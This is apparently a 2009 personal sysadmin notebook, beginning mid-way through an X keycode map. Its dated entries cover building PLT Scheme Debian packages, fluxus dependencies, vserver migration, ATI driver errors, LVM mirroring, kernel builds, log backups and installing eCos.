Insert NoSymbol Insert keycode 119 = Delete NoSymbol Delete NoSymbol Delete keycode 120 = keycode 121 = XF86AudioMute NoSymbol XF86AudioMute NoSymbol XF86AudioMute keycode 122 = XF86AudioLowerVolume NoSymbol XF86AudioLowerVolume NoSymbol XF86AudioLowerVolume keycode 123 = XF86AudioRaiseVolume NoSymbol XF86AudioRaiseVolume NoSymbol XF86AudioRaiseVolume keycode 124 = XF86PowerOff NoSymbol XF86PowerOff NoSymbol XF86PowerOff keycode 125 = KP_Equal NoSymbol KP_Equal NoSymbol KP_Equal keycode 126 = plusminus NoSymbol plusminus NoSymbol plusminus keycode 127 = Pause Break Pause Break Pause Break keycode 128 = keycode 129 = KP_Separator NoSymbol KP_Separator NoSymbol KP_Separator keycode 130 = Hangul NoSymbol Hangul NoSymbol Hangul keycode 131 = Hangul_Hanja NoSymbol Hangul_Hanja NoSymbol Hangul_Hanja keycode 132 = keycode 133 = Super_L NoSymbol Super_L NoSymbol Super_L keycode 134 = Super_R NoSymbol Super_R NoSymbol Super_R keycode 135 = Menu NoSymbol Menu NoSymbol Menu keycode 136 = Cancel NoSymbol Cancel NoSymbol Cancel keycode 137 = Redo NoSymbol Redo NoSymbol Redo keycode 138 = SunProps NoSymbol SunProps NoSymbol SunProps keycode 139 = Undo NoSymbol Undo NoSymbol Undo keycode 140 = SunFront NoSymbol SunFront NoSymbol SunFront keycode 141 = XF86Copy NoSymbol XF86Copy NoSymbol XF86Copy keycode 142 = SunOpen NoSymbol SunOpen NoSymbol SunOpen keycode 143 = XF86Paste NoSymbol XF86Paste NoSymbol XF86Paste keycode 144 = Find NoSymbol Find NoSymbol Find keycode 145 = XF86Cut NoSymbol XF86Cut NoSymbol XF86Cut keycode 146 = Help NoSymbol Help NoSymbol Help keycode 147 = XF86MenuKB NoSymbol XF86MenuKB NoSymbol XF86MenuKB keycode 148 = XF86Calculator NoSymbol XF86Calculator NoSymbol XF86Calculator keycode 149 = keycode 150 = XF86Sleep NoSymbol XF86Sleep NoSymbol XF86Sleep keycode 151 = XF86WakeUp NoSymbol XF86WakeUp NoSymbol XF86WakeUp keycode 152 = XF86Explorer NoSymbol XF86Explorer NoSymbol XF86Explorer keycode 153 = XF86Send NoSymbol XF86Send NoSymbol XF86Send keycode 154 = keycode 155 = XF86Xfer NoSymbol XF86Xfer NoSymbol XF86Xfer keycode 156 = XF86Launch1 NoSymbol XF86Launch1 NoSymbol XF86Launch1 keycode 157 = XF86Launch2 NoSymbol XF86Launch2 NoSymbol XF86Launch2 keycode 158 = XF86WWW NoSymbol XF86WWW NoSymbol XF86WWW keycode 159 = XF86DOS NoSymbol XF86DOS NoSymbol XF86DOS keycode 160 = XF86ScreenSaver NoSymbol XF86ScreenSaver NoSymbol XF86ScreenSaver keycode 161 = keycode 162 = XF86RotateWindows NoSymbol XF86RotateWindows NoSymbol XF86RotateWindows keycode 163 = XF86Mail NoSymbol XF86Mail NoSymbol XF86Mail keycode 164 = XF86Favorites NoSymbol XF86Favorites NoSymbol XF86Favorites keycode 165 = XF86MyComputer NoSymbol XF86MyComputer NoSymbol XF86MyComputer keycode 166 = XF86Back NoSymbol XF86Back NoSymbol XF86Back keycode 167 = XF86Forward NoSymbol XF86Forward NoSymbol XF86Forward keycode 168 = keycode 169 = XF86Eject NoSymbol XF86Eject NoSymbol XF86Eject keycode 170 = XF86Eject XF86Eject XF86Eject XF86Eject XF86Eject XF86Eject keycode 171 = XF86AudioNext NoSymbol XF86AudioNext NoSymbol XF86AudioNext keycode 172 = XF86AudioPlay XF86AudioPause XF86AudioPlay XF86AudioPause XF86AudioPlay XF86AudioPause keycode 173 = XF86AudioPrev NoSymbol XF86AudioPrev NoSymbol XF86AudioPrev keycode 174 = XF86AudioStop XF86Eject XF86AudioStop XF86Eject XF86AudioStop XF86Eject keycode 175 = XF86AudioRecord NoSymbol XF86AudioRecord NoSymbol XF86AudioRecord keycode 176 = XF86AudioRewind NoSymbol XF86AudioRewind NoSymbol XF86AudioRewind keycode 177 = XF86Phone NoSymbol XF86Phone NoSymbol XF86Phone keycode 178 = keycode 179 = XF86Tools NoSymbol XF86Tools NoSymbol XF86Tools keycode 180 = XF86HomePage NoSymbol XF86HomePage NoSymbol XF86HomePage keycode 181 = XF86Reload NoSymbol XF86Reload NoSymbol XF86Reload keycode 182 = XF86Close NoSymbol XF86Close NoSymbol XF86Close keycode 183 = keycode 184 = keycode 185 = XF86ScrollUp NoSymbol XF86ScrollUp NoSymbol XF86ScrollUp keycode 186 = XF86ScrollDown NoSymbol XF86ScrollDown NoSymbol XF86ScrollDown keycode 187 = parenleft NoSymbol parenleft NoSymbol parenleft keycode 188 = parenright NoSymbol parenright NoSymbol parenright keycode 189 = XF86New NoSymbol XF86New NoSymbol XF86New keycode 190 = Redo NoSymbol Redo NoSymbol Redo keycode 191 = keycode 192 = keycode 193 = keycode 194 = keycode 195 = keycode 196 = keycode 197 = keycode 198 = keycode 199 = keycode 200 = keycode 201 = keycode 202 = keycode 203 = Mode_switch NoSymbol Mode_switch NoSymbol Mode_switch keycode 204 = NoSymbol Alt_L NoSymbol Alt_L NoSymbol Alt_L keycode 205 = NoSymbol Meta_L NoSymbol Meta_L NoSymbol Meta_L keycode 206 = NoSymbol Super_L NoSymbol Super_L NoSymbol Super_L keycode 207 = NoSymbol Hyper_L NoSymbol Hyper_L NoSymbol Hyper_L keycode 208 = XF86AudioPlay NoSymbol XF86AudioPlay NoSymbol XF86AudioPlay keycode 209 = XF86AudioPause NoSymbol XF86AudioPause NoSymbol XF86AudioPause keycode 210 = XF86Launch3 NoSymbol XF86Launch3 NoSymbol XF86Launch3 keycode 211 = XF86Launch4 NoSymbol XF86Launch4 NoSymbol XF86Launch4 keycode 212 = keycode 213 = XF86Standby NoSymbol XF86Standby NoSymbol XF86Standby keycode 214 = XF86Close NoSymbol XF86Close NoSymbol XF86Close keycode 215 = XF86AudioPlay NoSymbol XF86AudioPlay NoSymbol XF86AudioPlay keycode 216 = XF86Forward NoSymbol XF86Forward NoSymbol XF86Forward keycode 217 = keycode 218 = Print NoSymbol Print NoSymbol Print keycode 219 = keycode 220 = XF86WebCam NoSymbol XF86WebCam NoSymbol XF86WebCam keycode 221 = keycode 222 = keycode 223 = XF86Mail NoSymbol XF86Mail NoSymbol XF86Mail keycode 224 = keycode 225 = XF86Search NoSymbol XF86Search NoSymbol XF86Search keycode 226 = keycode 227 = XF86Finance NoSymbol XF86Finance NoSymbol XF86Finance keycode 228 = keycode 229 = XF86Shop NoSymbol XF86Shop NoSymbol XF86Shop keycode 230 = keycode 231 = Cancel NoSymbol Cancel NoSymbol Cancel keycode 232 = XF86MonBrightnessDown NoSymbol XF86MonBrightnessDown NoSymbol XF86MonBrightnessDown keycode 233 = XF86MonBrightnessUp NoSymbol XF86MonBrightnessUp NoSymbol XF86MonBrightnessUp keycode 234 = XF86AudioMedia NoSymbol XF86AudioMedia NoSymbol XF86AudioMedia keycode 235 = XF86Display NoSymbol XF86Display NoSymbol XF86Display keycode 236 = XF86KbdLightOnOff NoSymbol XF86KbdLightOnOff NoSymbol XF86KbdLightOnOff keycode 237 = XF86KbdBrightnessDown NoSymbol XF86KbdBrightnessDown NoSymbol XF86KbdBrightnessDown keycode 238 = XF86KbdBrightnessUp NoSymbol XF86KbdBrightnessUp NoSymbol XF86KbdBrightnessUp keycode 239 = XF86Send NoSymbol XF86Send NoSymbol XF86Send keycode 240 = XF86Reply NoSymbol XF86Reply NoSymbol XF86Reply keycode 241 = XF86MailForward NoSymbol XF86MailForward NoSymbol XF86MailForward keycode 242 = XF86Save NoSymbol XF86Save NoSymbol XF86Save keycode 243 = XF86Documents NoSymbol XF86Documents NoSymbol XF86Documents keycode 244 = keycode 245 = keycode 246 = keycode 247 = keycode 248 = keycode 249 = keycode 250 = keycode 251 = keycode 252 = keycode 253 = keycode 254 = keycode 255 = Entry: memtest Date: Thu May 14 13:08:20 CEST 2009 I believe recent kernels have memtest. Let's figure out how this works and test degamma. Let's compile 2.6.28.8 Entry: windows/cygwin firewall Date: Thu May 14 17:52:43 CEST 2009 netstat -an # list connections netsh firewall show config # guess allow vnc: netsh firewall add portopening TCP 5800 vnc netsh firewall add portopening TCP 5900 vnc Entry: todo system work Date: Thu May 14 18:13:06 CEST 2009 - degamma memory test - degamma backup / upload sync - plt servlets Entry: fluxus build deps Date: Thu May 14 22:11:00 CEST 2009 sudo apt-get install dpatch debhelper scons libode0-dev libfftw3-dev libjack-dev libsndfile1-dev liblo0-dev libglew1.5-dev libfreetype6-dev libpng12-dev libtiff4-dev libglut3-dev libjpeg62-dev libx11-dev libglu1-mesa-dev libglu1-xorg-dev libasound2-dev if i recall the problem with fluxus is that it needs mzscheme as a library.. is this still the case? looks like it.. Entry: plt for debian Date: Thu May 14 22:29:56 CEST 2009 time to bite the bullet and make a plt deb package for cvs which supports shared libraries. also it would be a good idea to wrap planet packages in .deb packages. planet is fine and all, but it does take quite a while to install.. i'd like to separate install/compile from use. let's get the plt-scheme debian source package and have a look at the diff. it should not be too hard to port it to the current cvs version and apt-get source plt-scheme compiling plt: From this directory (where the `README' and `configure' files are), run the following commands: mkdir build cd build ../configure make make install This will create an in-place installation of PLT Scheme and store the results of C/C++ compilation in a separate `build' subdirectory, which is useful if you need to update your sources, delete the build, and start from scratch. You can also run the typical `./configure && make && make install' if you don't anticipate updating/rebuilding, but it will be harder to restart from scratch should you need to. using config --enable-shared note that the "make install" step performs a significant amount of scheme compilation. this apparently also goes through the planet packages, so make sure they compile. so where does it end up? -> in the plt/bin and plt/lib directories. now copying the debian/ directory from the 4.0.1-2 debian package. it seems the source tree is not modified. oops apparently there are debian/patches -rw-r--r-- 1 tom users 1787 2009-05-14 22:35 00_debian-nonstandard-install.patch -rw-r--r-- 1 tom users 1046 2009-05-14 22:35 02_alpha-compile-fix.patch -rw-r--r-- 1 tom users 2618 2009-05-14 22:35 05_paths-fix.patch -rw-r--r-- 1 tom users 46 2009-05-14 22:35 series it seems to build with patches/series cleared now trying with last pkg-plt-scheme update (see next post) Entry: plt-scheme package Date: Fri May 15 11:04:14 CEST 2009 The debian package tree can be found here: svn co svn://svn.debian.org/svn/pkg-plt-scheme/plt-scheme/trunk The last entry is: plt-scheme (4.1.5-1) unstable; urgency=low * New upstream version -- Ari Pollak <ari@debian.org> Sun, 22 Mar 2009 21:55:44 -0400 Also see http://bugs.debian.org/cgi-bin/pkgreport.cgi?package=plt-scheme To build a SVN of plt scheme version, make sure the plt tree contains the debian/ dir from the debian package tree, and add something like the following to the top of the debian/changelog file: plt-scheme (svn-20090515) unstable; urgency=low * Updated from upstream svn. -- Tom Schouten <tom@zwizwa.be> Fri, 15 May 2009 10:14:31 +0200 Now run "dpkg-buildpage -b" in the plt source tree. Apparently the latest 4.1.5-1 debian package does not have shared libraries enabled which is necessary for fluxus. Two problems with debian source: - it doesn't build shared libraries - setup-plt needs to stay away from my ~/.plt-scheme collection From Eli: > Is there a way to compile PLT Scheme from source without setup-plt > looking in the compiling user's ~/.plt-scheme directory for > collections? Use `make plain-install' to avoid running setup-plt, and then run it manually with .../mzscheme -l- setup -U Using this information with a glance on the Makefile.in shows me this: SETUP_ARGS = -X "$(DESTDIR)$(collectsdir)" -l setup install-3m: $(MAKE) install-3m-common mzscheme/mzscheme@MMM@ $(SETUP_ARGS) $(MAKE) install-common-last Changing this should do it: SETUP_ARGS = -X "$(DESTDIR)$(collectsdir)" -l setup -U Entry: packages from multiple debian releases Date: Fri May 15 11:35:36 CEST 2009 /etc/apt/preferences: Package: * Pin: release a=lenny Pin-Priority: 600 Package: plt-scheme Pin: release a=unstable Pin-Priority: 800 now, apt-get has the -t option which allows you to pin a certain package at priority 990. Entry: fluxus Date: Fri May 15 12:03:07 CEST 2009 with plt installed as a debian package, fluxus needs ths: scons PLTPrefix=/usr this can be automated: http://docs.plt-scheme.org/setup-plt/dirs.html mzscheme --eval '(require setup/dirs)(printf "~a\n" (find-lib-dir))' it seems fluxus needs to be installed to be able to run. ok, it runs. Entry: giebrok as caching server? Date: Sun May 17 09:25:01 CEST 2009 Actually.. Instead of storing anything of importance on the rack server, why not turn it into a cache of locally stored data? Run a cache sync once a day but for the rest upload objects on demand. It's not that giebrok has a lot of user load.. I'm mostly concerned about bandwidth created by bots etc.. Entry: merging Date: Sun May 17 09:53:40 CEST 2009 the more i play with multiple computers, the more i see that merging is really not so trivial.. Entry: giebrok updates Date: Mon May 18 09:51:00 CEST 2009 * make a script that sends incremental updates using rsync.merge (for safety, so it won't delete anything if something goes wrong) * once in a while perform an automated rsync.clone to clean up target's garbage files. Entry: diff Date: Mon May 18 09:52:18 CEST 2009 I talked about this before in [1]. Apparently "svn diff" produces a diff that can be used with patch. [1] entry://20080923-073506 Entry: emacs comint shell vs term Date: Tue May 19 12:57:08 CEST 2009 I'm trying to run socat like this: TTY=/dev/ttyS0 BAUD=115200 TARGET_TTY=$TTY,b$BAUD,raw,echo=0 CONSOLE_TTY=`tty`,raw,echo=0 socat $TARGET_TTY $CONSOLE_TTY Here socat is quite literally a null modem connecting two bidirectional terminals. But in a comint shell buffer this does echo, just like it does when running with CONSOLE_TTY=- Running it in an x-terminal or emacs's term or ansi-term modes does give proper non-echoing behaviour. Have to set "export LINES=33" to make "dmesg|less" work properly. Ha! http://blog.orebokech.com/2008/07/emacs-snapshot-20080727-1.html M-x serial-term Not working in my 22 though.. Entry: shell scripting and garbage collection Date: Sun Jun 14 10:36:08 CEST 2009 One of the things that has allways annoyed me is that file systems do not have garbage collection. The problem is really that it is not straightforward to determine whether a process is using a file. Ok, if the file is opened this is simple, but often some comination of processes has a collection of intermediate files that are not referenced but still needed in the future. However, there are alternatives that are easier to use. Having something like "dynamic-wind" to provide a centralized cleanup point is maybe good enough. First, adding some dispatching to a shell script makes composition easier. Instead of seeing a script as a single command, simply adding more commands makes it possible to recursively invoke locally defined code in different contexts. A dispatcher takes the following form: #!/bin/bash receive () { if [ "$1" == send ]; then shift "$@" else main "$@" fi } Now, the other problem is temp storage: you'd really want to abstract this. One solution is to always open a temp dir which will be ruthlessly removed whenever a process finishes. What about this: 1. always run a "worker" script inside a "framework" script that provides resource management. whenever the worker terminates, resources get freed. (this is dynamic-wind). 2. use dispatching. Entry: ntfs-3g Date: Mon Jun 22 12:19:48 CEST 2009 This[1] is a life saver. Works very will with the new netbooting facility i have in place. Apparently NTFS in the kernel is very limited RW because of corruption issues with the previous driver. [1] http://www.ntfs-3g.org/ Entry: Windows user profiles Date: Sun Jun 21 12:26:22 CEST 2009 To store the "My Documents" folder on a network drive, change the entry "Personal" in the registry: (regedit.exe) HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Explorer/User Shell Folders This also works for "Desktop" Entry: Windows XP security center Date: Sun Jun 21 13:03:20 CEST 2009 It is a service and can be disabled. Control Panel -> System Administration -> Services Entry: Windows WP Automatic Login Date: Sun Jun 21 13:04:14 CEST 2009 In the registry: HKEY_CURRENT_USER/Software/Microsoft/Windows NT/CurrentVersion/Winlogon Set the following entries: DefaultUser DefaultPassword AutoAdminLogon 1 Entry: P4 Medion 3500 ver 1 Date: Sun Jun 21 14:10:47 CEST 2009 2 memory slots. DDR / DDR2 ? Ok. stupid, just look at the sticker: 256 PC2100 DDR Entry: Linux to Windows XP printing Date: Sun Jun 21 14:46:58 CEST 2009 Apparently it's possible to enable unix TCP/IP printing[1]. [1] http://en.opensuse.org/Print_to_Windows_printer [2] http://www.linuxprinting.org/show_printer.cgi?recnum=HP-PSC_1510 Entry: new toy Date: Mon Jun 22 18:38:37 CEST 2009 Got a phenom II - installing debian amd64. Time to reorganize zzz, since it looks like I need to install a new system. The idea is to start working on the redundant set of services for all 3 nodes to run (zwizwa, zzz, giebrok). First problem that we're going to run into: 32 bit binary applications. Is it possible to run this in a vserver? If so, old zzz could be migrated incrementally to 64 bit. Ok this seems to be no problem.. Let's work like that for a bit. What needs to be host, and what can be vserver? host: - firewall - quagga routing + openvpn guest (zzz): - squid + privoxy - apache + plt-web-server - exim - cups - tftp + nfs - samba Entry: host -> guest conversion Date: Tue Jun 23 10:16:20 CEST 2009 What startup scripts need to be removed? - firewall - network - anything old in /etc/rc.boot that loads modules directly - kernels, all module and hal stuff What packages are no longer neded (apt-get remove) - xserver-xorg wdm jackd - util-vserver - quagga openvpn - autofs nfs-kernel-server - klogd Fixes /etc/fstab needs to be removed. make sure the directories that are configured in /etc/vservers/zzz/fstab are available It pauses at: Starting kernel log daemon... Aha. What I'm looking for is vserver-debiantools: Description: Tools to manage debian virtual servers This package contain tools to manage debian based virtual servers. There are tools to create and duplicate a virtual server. There is also a tool to strip a copy of a normal debian installation from hardware dependent things. Hmm.. i guess i used it wrong, it messed up the /dev dir and didn't do much else.. Entry: migrating services Date: Tue Jun 23 11:39:16 CEST 2009 Looks like the simple services are already ok. Let's add one level of transparency to the DNS to re-route them. Runit is back up also. Time to start thinking about network topology. I kept it mostly the same, with lowlevel services now running on the host, and all the highlevel stuff on the guest. lowlevel: firewall, openvpn, dns, quagga, squid, tftp, nfsroot Entry: migrated Date: Tue Jun 23 16:18:53 CEST 2009 now the remaining problems are the non-trusted IP space (wireless) and the video drivers for Radeon HD 3300. for now I'm going to stick with lex as a terminal. i am a bit disappointed by the mzc performance though.. machine is quite nice for the rest, but for scheme compiling it doesnt seem to be much faster. Ok, @ 2.8GHz it's about 1.5 - 2.0 x faster than the pentium-M @ 1.8 GHz. Entry: debian unstable Date: Wed Jun 24 12:40:47 CEST 2009 Is indeed unstable.. There's currently a broken package somewhere in the dependencies of fglrx. Apparently everything is in lenny, but I didn't see it because i had the "non-free" section omitted. I only found out after switching to sid. The good thing however is that aptitude seems to be able to fix most of the problems this solves.. I'm still not sure on how to instruct it to downgrade a whole tree of packages, but at least it is able to figure out some things from downgrading independent packages. Entry: fglrx Date: Wed Jun 24 13:57:43 CEST 2009 So.. apparently there's a problem in lenny. The ati and radeonhd drivers both don't recognize the card. This works in sid though, but there seems to be no accell. The fglrx driver seems to compile in lenny (it doesn't in sid) but it doesn't work:. My guess is that it has something to do with the 32-bit emulation necessary to get the driver to load, and the fact that I'm running with 4G. I tried mem=3G as boot param, but no difference.. I'm not really in the mood right now to figure it out.. X.Org X Server 1.4.2 Release Date: 11 June 2008 X Protocol Version 11, Revision 0 Build Operating System: Linux Debian (xorg-server 2:1.4.2-10.lenny1) Current Operating System: Linux zni 2.6.26-2-vserver-amd64 #1 SMP Thu May 28 23:32:33 UTC 2009 x86_64 Build Date: 09 March 2009 09:53:09AM Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. Module Loader present Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/var/log/Xorg.0.log", Time: Wed Jun 24 13:59:53 2009 (==) Using config file: "/etc/X11/xorg.conf" (EE) Failed to load module "mouse" (module does not exist, 0) (EE) Failed to load module "kbd" (module does not exist, 0) WARNING: All config files need .conf: /etc/modprobe.d/oss-compat, it will be ignored in a future release. (EE) fglrx(0): [FB] Can not get FB MC address range. (II) Module "ddc" already built-in (II) Module "ramdac" already built-in (EE) fglrx(0): atiddxDriScreenInit failed, GPS not been initialized. Fatal server error: xf86MapVidMem: Could not mmap framebuffer (0x95600000,0x10000000) (Invalid argument) (EE) fglrx(0): PPLIB: PPLIB is not initialized!. (EE) fglrx(0): PPLIB: swlPPLibNotifyEventToPPLib() failed! (EE) fglrx(0): ulEventType = 0000000c, ulEventData = 00000001 (EE) fglrx(0): PPLIB: PPLIB is not initialized!. (EE) fglrx(0): PPLIB: swlPPLibNotifyEventToPPLib() failed! (EE) fglrx(0): ulEventType = 00000002, ulEventData = 00000000 (EE) fglrx(0): firegl_SetSuspendResumeState FAILED -9. Entry: mozilla flash player on lenny amd64 Date: Wed Jun 24 20:06:22 CEST 2009 # in /etc/apt/sources.list add deb http://www.debian-multimedia.org lenny main contrib non-free # then run apt-get install flashplayer-mozilla # after this i still had to download the flashplayer plugin and copy # it to ~/.mozilla/plugins/ but the dependencies were satisfied. Apparently there is now a 64bit version from Adobe. Entry: memory maps Date: Fri Jun 26 11:22:43 CEST 2009 Fatal server error: xf86MapVidMem: Could not mmap framebuffer (0x95600000,0x10000000) (Invalid argument) Maybe it's good to try to figure out what's going on here. I found some links[1][2]. MTRR memory type rage registers control of how accesses to memory ranges by the CPU are cached PAT improvement to MTRR (per page) zni:~# cat /proc/mtrr reg00: base=0x00000000 ( 0MB), size=2048MB: write-back, count=1 reg01: base=0x80000000 (2048MB), size=1024MB: write-back, count=1 reg02: base=0xc0000000 (3072MB), size= 256MB: write-back, count=1 [1] http://kerneltrap.org/mailarchive/linux-kernel/2008/5/5/1733824/thread [2] http://linux.derkeiler.com/Mailing-Lists/Kernel/2008-05/msg04111.html [3] http://cateee.net/lkddb/web-lkddb/X86_PAT.html Entry: building a debian kernel Date: Fri Jun 26 11:33:00 CEST 2009 How to 1. build a debian kernel exactly as packaged 2. tweak it This will simply install the kernel in /usr/src, which is not really what we're looking for: apt-get install linux-source-2.6.18 tar jxf /usr/src/linux-source-2.6.18.tar.bz2 To build a new installable .deb apt-get source needs to be used: apt-get source linux-source-2.6.26 cd linux-2.6-2.6.26/ fakeroot make -f debian/rules.gen binary-arch-i386-vserver-686 # MAKE -j ? [1] http://kernel-handbook.alioth.debian.org/ch-common-tasks.html Entry: ATI 3300 Date: Fri Jun 26 12:27:47 CEST 2009 With only 2G in the machine it seems to give an image, though the machine reboots when I kill the X server. So.. what to do next? I really don't feel like loosing time with this. Let's give up the ATI proprietary path and try to get 2D accell working with the open source drivers, switching back to debian unstable. Ok. The radeon kernel module apparently doesn't recognize the card. Let's build a fresh kernel. REV=1 # make one before calling make-kpkg CONCURRENCY_LEVEL=6 make-kpkg \ --rootcmd fakeroot \ --initrd \ --revision=$REV \ kernel_image Works: 2.6.30 + 1.6.1.902 (1.6.1 RC 1) Now let's try with vserver.. radeon doesn't work in 2.6.29.5 Entry: workstation != server Date: Fri Jun 26 14:40:34 CEST 2009 Ah crap this version doesn't have a vserver patch... Trying 2.6.29.5 now. Maybe I should just give up on the vserver stuff on the desktop? It leads to too many kernel patch dependencies.. Let's move everything from zzz to zni. Alternatively I can just keep the old zzz setup but run it on a different box. This stuff gets quite complicated.. No, aim should really be to have it all on one box. I could prepare the duron box/1G to run the zzz vserver, then later maybe solve it using xen or so. No, it's better to move the old zzz disk that's in the lex box to the duron box for backup, and see if I can use some other way of virtualization.. Or maybe the patch works with 2.6.30 ? So, yes, because I'm not going to stop experimenting with the phenom box it's probably best to pre-empt things and reinstate zzz as the duron box. Entry: lvm raid Date: Sat Jun 27 20:37:07 CEST 2009 got 2x 1G disks. what i want is 300 meg raid for root and important data, and the rest (2x700) as a single non-raid volume. ok.. looks like i need to shrink my 900MB root partition first. this can't be done online, so first step is to create a new VG and a smaller LV on it. This is _not_ what i'm looking for: lvconvert -i 1 -m 1 --corelog /dev/vg1/root /dev/sda2 converting it back using: lvconvert -i 1 -m 0 /dev/vg1/root Apparently[1] you need 3 pvs for mirror, one to save the log. Luckily I have another partition ready. The proper way is: lvconvert -i 1 -m 1 --mirrorlog disk /dev/vg1/root /dev/sda2 /dev/sdb2 /dev/sdb1 I'm chaining up the remaining space on the two harddrives to use as scratch space. The current allocation is: zni:/home/tom# lvs -a -o +devices LV VG Attr LSize Origin Snap% Move Log Copy% Convert Devices root vg1 mwi-ao 300.00G root_mlog 18.00 root_mimage_0(0),root_mimage_1(0) [root_mimage_0] vg1 Iwi-ao 300.00G /dev/sdb2(0) [root_mimage_1] vg1 Iwi-ao 300.00G /dev/sda2(0) [root_mlog] vg1 lwi-ao 4.00M /dev/sdb1(0) scratch vg1 -wi-ao 1.22T /dev/sda2(76800) scratch vg1 -wi-ao 1.22T /dev/sdb2(79360) swap_1 vg1 -wi-ao 10.00G /dev/sdb2(76800) [1] https://bugs.launchpad.net/ubuntu/+source/lvm2/+bug/121527 Entry: new filesystem org Date: Sun Jun 28 12:45:02 CEST 2009 /usr/local/src all local system software /opt special stuff (cross dev, nfsroot, ...) /home/tom other data + active dev projects nfsroot will remain on zzz, with zni carrying a backup in case it needs to take over. i would like to move back to having zzz as a vhost on zni.. maybe using qemu this time? anyways.. incremental stuff. Entry: kvm Date: Sun Jun 28 13:26:39 CEST 2009 Looks like kvm works quite well. Tried with the XP image and it's indeed a lot faster than qemu + kqemu. Maybe try to get a linux image going that boots from the network. [1] http://azerthoth.blogspot.com/2007/07/qemukvmand-trick.html Entry: netboot Date: Sun Jun 28 15:00:33 CEST 2009 next to the xenomai netboot foor athlon I'm going to build a generic boot image supporting all architectures from a vanilla 2.6.30 apparently it is not so easy to compile a 32bit kernel on a 64bit machine. Entry: schroot Date: Tue Jun 30 16:24:54 CEST 2009 It's necessary to use "schroot" for building 32bit apps on 64bit: the point being that "uname -m" needs to return the proper architecture, which is done by using the persionality syscall. This is apparently necessary for making gcc work. Making a lenny chroot in /opt/src to simplify building .deb packages. Entry: md5-ify Date: Wed Jul 1 11:57:20 CEST 2009 Problem: rotating logs for apache are a _working_ storage mechanism. I'm keeping 52 weeks worth of logs: # cat /etc/logrotate.d/apache2 /var/log/apache2/*.log { ... rotate 52 ... } The problem however is that with incremental rsync clone based backups, these get re-transferred. A simple way to fix this is to hash them, and store the hashed files in a subdirectory. This way only links get rotated. Ok. Got 2 scripts: md5-dir-encode md5-dir-decode Entry: apache logs Date: Wed Jul 1 13:47:21 CEST 2009 Now, how to keep track of the apache logs.. If I fish them out of the md5 pool before they get deleted, it is possible to keep the filesystem cloned, not merged. Can the logs be recovered merely from content? This would make it easier as it's not necessary to keep track of names. Yes. Let's keep it simple and assume it's all a single data pool. Entry: file stores (databases) as objects Date: Wed Jul 1 14:06:58 CEST 2009 It's probably simplest to start looking at large collections of data as objects. Currently I have a blind md5 store. Adding an index to this might make postprocessing simpler. Each object would have a "bin" directory which contains methods that operate on its store. Entry: giebrok backups Date: Wed Jul 1 14:12:31 CEST 2009 (this needs to be automated later) before running a backup, make sure that apache2 and exim4 log directories are md5 pooled and clear /var/lib/apt/cache Also: check giebrok:/var/log/ls-al later to see if rotating works with links!! Entry: handbrake-gtk Date: Fri Jul 3 17:12:01 CEST 2009 From debian-multimedia. It uses: * liba52 (AC3 decoding) * libavcodec (decoding, picture cropping, scaling and deinterlacing, MPEG-4 encoding) * libdvdread (DVD navigation) * libfaac (AAC encoding) * libmp3lame (MP3 encoding) * libmp4v2 (MP4 muxing) * libmpeg2 (MPEG-2 decoding) * libogg (OGM muxing) * libsamplerate (audio resampling) * libvorbis (Vorbis encoding) * libx264 (H264 encoding) * libxvidcore (MPEG-4 encoding) The default is 1-pass 1000bps H.264 + AAC in a MP4 container. The two-pass version of this is: HandBrakeCLI -T2 -i <dvd> -o video.mp4 [1] http://trac.handbrake.fr/wiki/CLIGuide Entry: ecos Date: Fri Jul 3 20:36:38 CEST 2009 tom@zni:~$ wget --passive-ftp ftp://ecos.sourceware.org/pub/ecos/ecos-install.tcl tom@zni:~$ sudo ecos-install.tcl sudo: ecos-install.tcl: command not found tom@zni:~$ sudo sh ecos-install.tcl eCos installer v2.0.1 starting... Written and maintained by Jonathan Larmour <jifl@eCosCentric.com> Retrieving installer metadata information... Connected... Downloading ecos-install.db... File size 6807 bytes [**************************************************] --------------------------------------------------------- Available distribution sites: [1] ftp://mirrors.kernel.org/sources.redhat.com/ecos [2] http://mirrors.kernel.org/sources.redhat.com/ecos [3] ftp://mirror.aarnet.edu.au/pub/sourceware/ecos [4] http://mirror.aarnet.edu.au/pub/sourceware/ecos [5] ftp://ftp.mirrorservice.org/sites/sources.redhat.com/pub/ecos [6] http://www.mirrorservice.org/sites/sources.redhat.com/pub/ecos [7] ftp://gd.tuwien.ac.at/opsys/ecos [8] http://gd.tuwien.ac.at/opsys/ecos [9] ftp://ftp.funet.fi/pub/mirrors/sources.redhat.com/pub/ecos [10] ftp://ftp.gwdg.de/pub/misc/sources.redhat.com/ecos [11] http://ftp.gwdg.de/pub/misc/sources.redhat.com/ecos [12] ftp://ftp-stud.fht-esslingen.de/pub/Mirrors/sources.redhat.com/ecos [13] http://ftp-stud.fht-esslingen.de/pub/Mirrors/sources.redhat.com/ecos [14] ftp://bo.mirror.garr.it/mirrors/sourceware.org/ecos [15] http://bo.mirror.garr.it/mirrors/sourceware.org/ecos [16] ftp://ftp.u-aizu.ac.jp/pub/gnu/cygnus/ecos [17] ftp://ftp.chg.ru/pub/sourceware/ecos [18] ftp://ftp.sun.ac.za/pub/mirrorsites/sourceware.org/pub/ecos [19] http://ftp.sun.ac.za/ftp/pub/mirrorsites/sourceware.org/pub/ecos [20] ftp://ftp.twaren.net/Unix/Sourceware/ecos [21] http://ftp.twaren.net/Unix/Sourceware/ecos [22] ftp://mirror.facebook.com/sourceware/ecos [23] http://mirror.facebook.com/sourceware/ecos [24] http://sources-redhat.mirrors.airband.net/ecos [25] ftp://ecos.sourceware.org/pub/ecos Please select a distribution site: 10 --------------------------------------------------------- Please select a directory for installation [Default /opt/ecos]: --------------------------------------------------------- Available prebuilt GNU tools: [1] arm-eabi [2] arm-elf (old) [3] i386-elf [4] m68k-elf [5] mipsisa32-elf [6] powerpc-eabi [7] sh-elf [q] Finish selecting GNU tools ("*" indicates tools already selected) Please select GNU tools to download and install: 3 <snip> Please select GNU tools to download and install: q Directory /opt/ecos does not exist... creating. Entering /opt/ecos Retrieving GNU tools for i386-elf Connected... Downloading ecoscentric-gnutools-i386-elf-20081107-sw.i386linux.tar.bz2... File size 15414738 bytes [**************************************************] Retrieving eCos version 3.0 Connected... Downloading ecos-3.0.i386linux.tar.bz2... File size 17854418 bytes [**************************************************] 